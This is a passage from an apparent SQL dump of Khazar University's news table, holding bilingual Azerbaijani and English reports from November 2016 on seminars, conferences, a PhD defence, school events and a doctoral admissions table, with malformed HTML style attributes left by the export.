Xəzər Universiteti Tarix və arxeologiya departamentində Roza Arazova və Orxan Zamanovun təşəbbüsü ilə ABŞ-ın Nyu-York ştatı Roçester...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı\r\nil noyabrın 25-də Xəzər Universiteti Tarix və arxeologiya departamentində Roza\r\nArazova və Orxan Zamanovun təşəbbüsü ilə ABŞ-ın Nyu-York ştatı Roçester\r\nUniversitetinin professoru Michael Jarvis ilə AMEA Arxeologiya və Etnoqrafiya\r\nİnstitutunun və Xəzər Universitetinin əməkdaşlarının iştirakı ilə dəyirmi masa ətrafında\r\nelmi seminar təşkil olundu. Seminar arxeologiyanın və tarixin öyrənilməsində, tədrisində\r\nvə tətbiqində rəqəmli texnologiyaların tətbiqi ilə əlaqədar keçirilirdi.\r\nSeminarda Xəzər Universitetinin Karyera İnkişaf Mərkəzinin koordinatoru Ülviyyə\r\nHüseynova, Məzunlarla iş üzrə koordinator Baba Bayramlı, İnternet İnstitutunun direktoru\r\nMəhəmməd Şərifov və AMEA Arxeologiya və Etnoqrafiya İnstitutunun əməkdaşı Namiq\r\nHüseynli iştirak edirdilər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Görüşün\r\nsonuna yaxın Xəzər Universitetinin rektoru Dr. Hassan Niknafs seminara qoşuldu.\r\nİngilis dilində keçən seminarda maraqlı təqdimat və müzakirələr oldu.</p>'),(2678,1608,'az','Xəzər Universitetinin müəllimi Araz Aslanlı beynəlxalq elmi tədbirlərdə iştirak etmişdir','2016-cı il noyabrın 23-ü və 24-də Xəzər Universiteti Tarix və arxeologiya departamentinin müəllimi Araz Aslanlı Türkiyənin İstanbul şəhərində keçirilən iki konfransda...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"=\"\">2016-cı il noyabrın 23-ü və 24-də Xəzər\r\nUniversiteti Tarix və arxeologiya departamentinin müəllimi Araz Aslanlı Türkiyənin\r\nİstanbul şəhərində keçirilən iki konfransda məruzə ilə çıxış etmişdir. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"=\"\">Araz Aslanlı əvvəlcə Marmara Universitetində “Cənubi\r\nQafqazdakı son proseslər və Qarabağ problemi” adlı məruzə ilə çıxış etmişdir. Məruzədə\r\nQarabağ probleminin yaranmasının və həll olunmadan qalmasının səbəbləri izah\r\nedilmiş, eləcə də, Qarabağ problemin həll olunmamasının Azərbaycan, region və\r\ndünya üçün yaratdığı mənfi nəticələr və risklər barədə məlumat verilmişdir. Məruzədən\r\nsonra iştirakçıların sualları cavablandırılmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"=\"\">Noyabrın 24-də Araz Aslanlı İstanbul Şehir\r\nUniversitetində keçirilən “Avrasiyanın Balkanları –Qafqaz regionunda güc\r\nsavaşları” adlı konfransda məruzə ilə çıxış etmişdir. Məruzədə Qafqaz\r\nregionunun qlobal və regional güclər üçün əhəmiyyəti, region uğurundakı tarixi\r\nrəqabət və hazırda gedən proseslər izah edilmişdir. Məruzədən sonra\r\niştirakçıların sualları cavablandırılmışdır.</p>'),(2679,1609,'az','AMEA-nın əməkdaşı tələbələrlə görüşdü','2016-cı il noyabrın 24-də Xəzər Universiteti Tarix və arxeologiya departamentinin təşəbbüsü ilə Təhsil fakültəsi tarix ixtisasının I və II kurs tələbələri ilə AMEA Arxeologiya...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il noyabrın 24-də Xəzər Universiteti Tarix və arxeologiya\r\ndepartamentinin təşəbbüsü ilə Təhsil fakültəsi tarix ixtisasının I və II kurs tələbələri\r\nilə AMEA Arxeologiya və Etnoqrafiya İnstitutunun əməkdaşı, tarix üzrə fəlsəfə\r\ndoktoru, paleolit dövrü üzrə tanınmış arxeoloq Azad Zeynalovun görüşü\r\nkeçirildi. Görüş zamanı Azərbaycanın paleolit dövrünün tədqiqi tarixi, abidələr\r\nvə tapıntılar haqqında maraqlı elmi mühazirə oxunmuş və gənc tarixçiləri\r\nmaraqlandıran bir sıra məsələlərə aydınlıq gətirilmişdir. Görüşdə Xəzər\r\nUniversiteti Azərbaycan dili və ədəbiyyatı departamenti müəllimi Xatirə\r\nYusifova və Tarix və arxeologiya departamenti müəllimi Orxan Zamanov da iştirak\r\netmişlər. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Tələbələrə Azərbaycanda aparılmış son elmi tədqiqatlar və qazıntılar\r\nhaqqında ətraflı məlumat verilmişdir.</p>'),(2680,1610,'az','“Dünya”da bilik yarışı keçirildi.','2016-cı il noyabrın 26-da Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbində istedadlı şagirdlərinin müəyyən edilməsi, onların üzə çıxarılması, elmə həvəs...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il noyabrın 26-da Xəzər Universitetinin nəzdində fəaliyyət\r\ngöstərən “Dünya” məktəbində istedadlı şagirdlərinin müəyyən edilməsi, onların üzə çıxarılması, elmə həvəs və\r\nmaraqlarının artırılması məqsədilə bilik olimpiadası keçirildi. Olimpiada bütün fənlər üzrə VI-IX sinif şagirdləri arasında məktəbdaxili təşkil olunmuşdu. Burada Sumqayıt “Dünya”məktəbinin şagirdləri də iştirak edirdi. bilik\r\nyarışmasında ümumilikdə 137 nəfər iştirak edirdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Olimpiadanin\r\nnəticələri haqqinda məlumat veriləcək.</p>'),(2681,1611,'az','“Dünya”nın birinciləri “Ədədlər bayramı”nı qeyd etdilər','2016-cı il noyabrın 10-da Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dünya” məktəbində I sinif şagirdlərinin “Ədədlər bayramı” qeyd olundu. Ümumiyyətlə, bu gün dünyanın...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il noyabrın 10-da Xəzər Universitetinin nəzdində fəaliyyət göstərən\r\n“Dünya” məktəbində I sinif şagirdlərinin “Ədədlər\r\nbayramı” qeyd olundu. Ümumiyyətlə, bu gün dünyanın müxtəlif ölkələrinin təhsil\r\nocaqlarında I sinif şagirdlərinin 0-dan 10-a qədər olan ədədləri öyrənməsi ilə əlaqədar\r\n“Ədədlər bayramı” kimi keçirilir. Şagirdlər ədədlər haqqında müxtəlif şeirlər,\r\natalar sözləri, tapmacalar, məsələlər və sanamalar söylədilər. Burada məqsəd\r\nşagirdləri məktəb həyatına mümkün qədər tez uyğunlaşdırmaqdır. Təqdimatların bədii,\r\nmusiqili və səhnələşdirilmiş formada keçirilməsi buna şərait yaradır. Şagirdlər\r\nqısa müddət ərzində özlərini ifadə etməklə yanaşı, sərbəst və rahat təhsil\r\naldıqlarını sübut etdilər.</p>'),(2682,1609,'en','ANAS Archeologist Meets with Students ','On November 24, 2016, Dr. Azad Zeynalov, well-known archeologist of the Paleolithic age and researcher of the Azerbaijan National Academy of Sciences’ Institute of Archeology...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On\r\nNovember 24, 2016, Dr. Azad Zeynalov, well-known archeologist of the\r\nPaleolithic age and researcher of the Azerbaijan National Academy of Sciences’\r\nInstitute of Archeology and Ethnography, met with first-and second-year\r\nstudents of the School of Education upon the initiative of the Department of\r\nHistory and Archeology. During the meeting, the guest taught the young\r\nhistorians about the history of research in Azerbaijan on the Paleolithic age,\r\ngave a lecture on monuments and archeological finds, and answered students’\r\nquestions. Khatira Yusifova, instructor for the Department of Azerbaijani\r\nLanguage and Literature, and Orkhan Zamanov, instructor for the Department of\r\nHistory and Archeology, also participated in the meeting. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">The\r\nstudents were also given information about recent scientific research and\r\narcheological excavations in Azerbaijan.&nbsp;</p>'),(2683,1603,'az','ERASMUS+ proqramı ilə bağlı ikinci görüş','2016-cı il noyabrın 25-də Xəzər Universitetinin ERASMUS+ layihəsi üzrə komandası yeni ideyalar və imkanları müzakirə etmək üçün görüşdü. Altı yeni layihə ideyası müzakirə...','<p>2016-cı il noyabrın 25-də Xəzər Universitetinin\r\nERASMUS+ layihəsi üzrə komandası yeni ideyalar və imkanları müzakirə etmək üçün\r\ngörüşdü. Altı yeni layihə ideyası müzakirə olundu və tapşırıqlar komanda üzvləri\r\narasında bölündü. Görüşdə layihə yazılması ilə bağlı işləri, habelə,\r\npartnyorlarla yazışma prosesini sürətəndirilmək üçün İnkişaf Mərkəzini mütəmadi\r\nolaraq işlərin gedişi ilə bağlı məlumatlandırmaq qərara alındı.</p>'),(2684,1612,'az','Yeni layihəyə start verildi','2016-cı il noyabrın 24-də Xəzər Universitetinin nəzdində fəaliyyət göstərən “Dunya” məktəbinin direktoru Marufə Mədətova ingilis dili müəllimləri ilə görüş keçirdi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il noyabrın 24-də Xəzər Universitetinin nəzdində fəaliyyət\r\ngöstərən “Dunya” məktəbinin direktoru Marufə Mədətova ingilis dili müəllimləri\r\nilə görüş keçirdi. Görüşdə məktəb olimpiadasının keçirilməsi və nəticələrin müəllimlər\r\ntərəfindən yoxlanılması, eləcə də, yekun testlərə hazırlıq prosesi ətraflı\r\nmüzakirə olundu.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">İclasda Peşəkar İnkişaf\r\nProqramı <em>(“Dunya” Professional\r\nDevelopment –DDP Centre)</em> çərçivəsində müəllimlərin peşə hazırlıqlarının\r\nartırılması üçün seminar, konfrans və treninqlərin keçirilməsinə qərar verildi.\r\nYalnız “Dünya” məktəbi deyil, digər dövlət və özəl məktəb müəllimlərinin\r\niştirakı nəzərdə tutulan bu layihənin tezliklə Bakı və Sumqayıtdakı “Dünya” məktəblərində\r\nhəyata keçirilməsi nəzərdə tutulur.</p>'),(2685,1608,'en','Khazar University Instructor Araz Aslanli Participates in International Scholarly Events','On November 23-24, 2016, Araz Aslanli, instructor for Khazar University Department of History and Archeology, gave lectures at two conferences held in Istanbul, Turkey...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On\r\nNovember 23-24, 2016, Araz Aslanli, instructor for Khazar University Department\r\nof History and Archeology, gave lectures at two conferences held in Istanbul,\r\nTurkey. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Araz\r\nAslanli gave his first lecture on “Recent Processes in the South Caucasus and\r\nthe Karabakh Problem” at Marmara University. He explained the causes of the\r\nKarabakh problem and reasons why it remains unresolved, including the negative\r\nconsequences and risks it creates for Azerbaijan, the region and the world.\r\nAfter the lecture, he answered the audience’s questions. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On\r\nNovember 24, Araz Aslanli gave a presentation in the “Balkans of Eurasia: Power\r\nWars in the Caucasus Region” Conference in Istanbul Sehir University. The\r\nlecture covered the significance of the Caucasus region for global and regional\r\npowers, historical competition over the region, and currently unfolding\r\nprocesses. After the lecture, he answered participants’ questions.&nbsp;</p>'),(2686,1607,'en','Meeting in Khazar University Department of History and Archeology','On November 25, 2016, Dr. Roza Arazova and Orkhan Zamanov organized a scholarly roundtable discussion with Professor Michael Jarvis of Rochester University...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On November 25, 2016, Dr. Roza Arazova\r\nand Orkhan Zamanov organized a scholarly roundtable discussion with Professor\r\nMichael Jarvis of Rochester University (New York, USA) with Khazar University\r\nfaculty members. The seminar covered applications of digital technology in the\r\nteaching and learning of archeology and history. Participants included Ulviyya\r\nHuseynova, Coordinator of the Khazar University Career Center; Baba Bayramli,\r\nDirector of the Center for Alumni Relations; Mahammad Sharifov, Director of the\r\nInternet Institute; and Namiq Huseynli of the ANAS Archeology and Ethnography\r\nInstitute. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Dr. Hasan Niknafs, President of the\r\nUniversity, also joined the seminar. The event was held in English and included\r\nan interesting presentation and discussions.&nbsp;</p>'),(2687,1604,'en','Khazar University Student Defends PhD Dissertation','On November 25, Khayala Mammadova, Khazar University PhD student, defended her dissertation on “Gender Aspects in Sociocultural Development in the Azerbaijani Society” before...','<p>On November 25, Khayala Mammadova, Khazar University PhD\r\nstudent, defended her dissertation on “Gender Aspects in Sociocultural\r\nDevelopment in the Azerbaijani Society” before the Dissertation Council in\r\naffiliation with the Azerbaijan National Academy of Sciences’ Philosophy\r\nInstitute.</p>\r\n<p>Professor Ilham Mammadzadeh, Director of Azerbaijan National\r\nAcademy of Sciences’ Philosophy Institute, chaired the defense, which included\r\na presentation by Khayala Mammadova and then a question-and-answer session. </p>\r\n<p>The council and official opponents discussed the\r\ndissertation and its reviews as well as the articles that Mammadova has\r\npublished in local and international scholarly journals and her other works.\r\nTaking into account the requirements of the Higher Attestation Commission of\r\nthe President of the Azerbaijan Republic, they recommended Khayala Mammadova\r\nfor a doctor of philosophy degree in Social Philosophy.&nbsp;</p>'),(2750,1643,'az','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \" davam edir.','“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \" təlimindən bu günə olan şəkilləri sizə təqdim edirik....','<p>“Potensial məktəb direktorlarına məktəbin idarə edilməsi üzrə təlim kursları \"&nbsp;təlimindən bu günə olan şəkilləri sizə təqdim edirik.</p>'),(2688,1606,'en','Khazar Faculty Member Performing Research at Montpellier University','Beginning on November 21, Dr. Irada Khalilova, Head of the Biology Department and Director of the Cell Pathology Research Center at Khazar University, is performing research...','<p>Beginning on\r\nNovember 21, Dr. Irada Khalilova, Head of the Biology Department and Director\r\nof the Cell Pathology Research Center at Khazar University, is performing\r\nresearch in the Faculty of Odontology, Research Laboratory of Biology, Health\r\nand Nanoscience at Montpellier University in France as part of a Erasmus + mobility\r\ngrant. Her research focuses on mesenchyme stem&nbsp;cells becoming osteoblasts and\r\nthe use of biomaterials along with dental tissue regeneration. She is also\r\nparticipating in laboratory classes with students in the same school. On\r\nNovember 29, Dr. Khalilova will give a lecture on “Oxidative stress biomarker\r\nresearch for early disease diagnostics” for staff members and researchers of\r\nthe laboratory.&nbsp;</p>'),(2689,1605,'en','Khazar Faculty Member Publishes in Elsevier','An article by Dr. Irada Khalilova, Head of the Biology Department and Director of the Cell Pathology Research Center at Khazar University, has been published in European Journal...','<p>An article by\r\nDr. Irada Khalilova, Head of the Biology Department and Director of the Cell\r\nPathology Research Center at Khazar University, has been published in <em>European\r\nJournal of Cystic Fibrosis </em>by Elsevier (impact factor 3.853). The abstract\r\nof the article is available at this link: </p>\r\n<p><a href=\"http://www.cysticfibrosisjournal.com/article/S1569-1993(16)30647-6/abstract\">http://www.cysticfibrosisjournal.com/article/S1569-1993(16)30647-6/abstract</a>.</p>'),(2690,1610,'en','Knowledge Competition in Dunya School ','On November 26, 2016, a knowledge competition was held in Khazar University’s affiliate Dunya School to discover talented students and increase their motivation...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">On November 26, 2016, a knowledge\r\ncompetition was held in Khazar University’s affiliate Dunya School to discover\r\ntalented students and increase their motivation and interest in science. This\r\ncompetition was held as an Olympiad in all subjects for grades 6 to 9. Pupils\r\nfrom the new Dunya School in Sumgayit also participated. A total of 137 pupils\r\nparticipated. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Information about the Olympiad results\r\nis forthcoming.&nbsp;</p>'),(2691,1611,'en','Numbers Day Celebration at Dunya School ','On November 20, 2016, a celebration of Numbers Day was held for first graders in Khazar University’s affiliate Dunya School. This celebration is held among first graders worldwide...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On\r\nNovember 20, 2016, a celebration of Numbers Day was held for first graders in\r\nKhazar University’s affiliate Dunya School. This celebration is held among\r\nfirst graders worldwide to help them learn the numbers from 0 to 10. The pupils\r\nlearned poems, proverbs, riddles and fables about the numbers. The goal of the\r\ncelebration was to help the pupils adapt to school life as quickly as possible.\r\nIt included literary, musical and dramatic presentations. The pupils quickly\r\nlearned to express themselves and proved that they are comfortable in their\r\neducational setting.&nbsp;</p>'),(2692,1612,'en','New Project Launched at Dunya School','On November 24th, Marufa Madatova, Director of Khazar University’s affiliate Dunya School, held a meeting for English teachers. The meeting included a discussion about an Olympiad...','<p>On November 24th,\r\nMarufa Madatova, Director of Khazar University’s affiliate Dunya School, held a\r\nmeeting for English teachers. The meeting included a discussion about an\r\nOlympiad in the school and its results which are being checked by teachers as\r\nwell as the preparation process for final tests. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">At\r\nthe meeting, a decision was made to hold seminars, conferences and training\r\nevents within the “Dunya”\r\nProfessional Development - DDP Centre. This project will be carried out in the\r\nDunya Schools of Baku and Sumgayit for teachers not only from Dunya School but\r\nalso from other public and private schools.<strong><em></em></strong></p>'),(2693,1613,'az','“Baker Tilly” ilə görüş keçirildi','2016-cı il noyabrın 28-dəXəzər Universitetinin Karyera İnkişaf Mərkəzi “Baker Tilly” Audit Şirkətinin nümayəndəsi və Xəzər Universitetinin məzunu Ramil Bədəlovla görüş keçirdi...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">2016-cı il noyabrın 28-dəXəzər\r\nUniversitetinin Karyera İnkişaf Mərkəzi “Baker Tilly” Audit Şirkətinin nümayəndəsi\r\nvə Xəzər Universitetinin məzunu Ramil Bədəlovla görüş keçirdi. Görüşün məqsədi\r\nXəzər Universitetinin Karyera İnkişaf Mərkəzi ilə əməkdaşlıq etmək və bu sahədə\r\nimkanları genişləndirmək idi. “Baker Tilly”-nin nümayəndəsi tələbələrlə işləməkdən\r\nzövq aldıqlarını və bundan sonra da öz şirkətlərində daha çox Xəzər\r\nUniversitetinin tələbələri ilə işləmək istədiklərini bildirdi. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in;line-height:normal\"\"=\"\">Görüşdə Karyera Sərgəsi haqqında da müzakirələr olundu və sponsorluq\r\ntəklifinin dəyərləndiriləcəyi bildirildi. “Baker Tilly”-nin nümayəndəsi vakansiya\r\nvə ya təcrübə elanlarını ilk olaraq, Karyera İnkişaf Mərkəzi ilə bölüşəcəklərini\r\nvə əməkdaşlıq əlaqələrini daha da genişləndirəcəklərini vurğuladı.</p>'),(2694,1613,'en','Meeting with Baker Tilly','On November 28, 2016, the Khazar University Career Development Center held a meeting with Ramil Badalov, representative of Baker Tilly auditing company...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">On\r\nNovember 28, 2016, the Khazar University Career Development Center held a\r\nmeeting with Ramil Badalov, representative of Baker Tilly auditing company and\r\nKhazar University alumnus. The objective of the meeting was to establish\r\npartnership with the Career Development Center and broaden opportunities in\r\nthis area. The guest noted that it was a pleasure to work with Khazar\r\nUniversity students and that he would like to work with more Khazar University\r\nstudents in his company in the future. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">During\r\nthe meeting, the activities of the Career Center and possible sponsorship\r\npossibilities were also discussed. The representative promised to share vacancy\r\nnotices and internship announcements with Khazar University Career Development\r\nCenter first as well as to further develop partnership in these areas.&nbsp;</p>'),(2695,1614,'en','Late Khazar Alumnus Commemorated in the Media','On November 27, 2016, an article was published on the Müstəqil.az news site about Zardust Shafiya, Khazar University alumnus who passed away at a young age...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">On\r\nNovember 27, 2016, an article was published on the <strong><em>Müstəqil.az </em></strong>news\r\nsite about Zardust Shafiya, Khazar University alumnus who passed away at a\r\nyoung age. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\">The\r\nfull text of the article is available (in Azerbaijani) at the following link: </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.mustaqil.az/2016/11/27/bir-uzaq-mes%C9%99d%C9%99-unudun-m%C9%99ni/\">http://www.mustaqil.az/2016/11/27/bir-uzaq-mesədə-unudun-məni/</a>.&nbsp;</p>'),(2696,1614,'az','“Xəzər”in mərhum məzunu mediada anıldı','2016-cı il noyabrın 27-də Müstəqil.az xəbər saytı Xəzər Universitetinin məzunu, həyatdan çox erkən köçmüş gənc yazar Zərdüşt Şəfiyə həsr olunmuş yazını paylaşmışdır...','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il noyabrın 27-də <strong><em>Müstəqil.az\r\n</em></strong>xəbər saytı Xəzər Universitetinin məzunu, həyatdan çox erkən köçmüş gənc\r\nyazar Zərdüşt Şəfiyə həsr olunmuş yazını paylaşmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Yazını tam şəkildə bu link vasitəsilə\r\noxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in\"\"=\"\"><a href=\"http://www.mustaqil.az/2016/11/27/bir-uzaq-mes%C9%99d%C9%99-unudun-m%C9%99ni/\">http://www.mustaqil.az/2016/11/27/bir-uzaq-mesədə-unudun-məni/</a>.&nbsp;</p>'),(2697,1615,'az','Xəzər Universiteti  2016-2017-ci tədris ili üçün aşağıdakı ixtisaslar üzrə əyani (ödənişli), doktoranturaya və dissertanturaya qəbul elan edir:','Xəzər Universiteti 2016-2017-ci tədris ili üçün aşağıdakı ixtisaslar üzrə əyani (ödənişli), doktoranturaya və dissertanturaya qəbul elan edir:','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"=\"\"><br></p><p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"=\"\"><strong></strong></p>\r\n<table cellspacing=\"0\" cellpadding=\"0\">\r\n <tbody><tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><strong>№</strong></p>\r\n  </td>\r\n  <td width=\"381\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><strong>İxtisasın adı</strong></p>\r\n  </td>\r\n  <td width=\"114\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><strong>Doktorantura</strong></p>\r\n  </td>\r\n  <td width=\"114\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><strong>Dissertantura</strong></p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><strong>1</strong></p>\r\n  </td>\r\n  <td width=\"381\" style=\"\" width:285.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Analiz və funksional analiz –1202.01</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><strong>2</strong></p>\r\n  </td>\r\n  <td width=\"381\" style=\"\" width:285.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Kompüter\r\n  elmləri\r\n  –1203.01</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><strong>3</strong></p>\r\n  </td>\r\n  <td width=\"381\" style=\"\" width:285.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">Biokimya\r\n  –2426.02</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.85pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">1</p>\r\n  </td>\r\n </tr>\r\n <tr>\r\n  <td width=\"51\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:center;text-indent:.25in;line-height:normal\"\"=\"\"><strong>4</strong></p>\r\n  </td>\r\n  <td width=\"381\" style=\"\" width:285.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">İmmunologiya\r\n  –2412.01</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" width:85.65pt;border-top:none;border-left:none;border-bottom:solid=\"\" black=\"\" 1.0pt;border-right:solid=\"\" 1.0pt;padding:0in=\"\" 5.4pt=\"\" 0in=\"\" 5.4pt\";vertical-align:top\"=\"\">\r\n  <p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-indent:.25in;line-height:normal\"\"=\"\">&nbsp;</p>\r\n  </td>\r\n  <td width=\"114\" style=\"\" 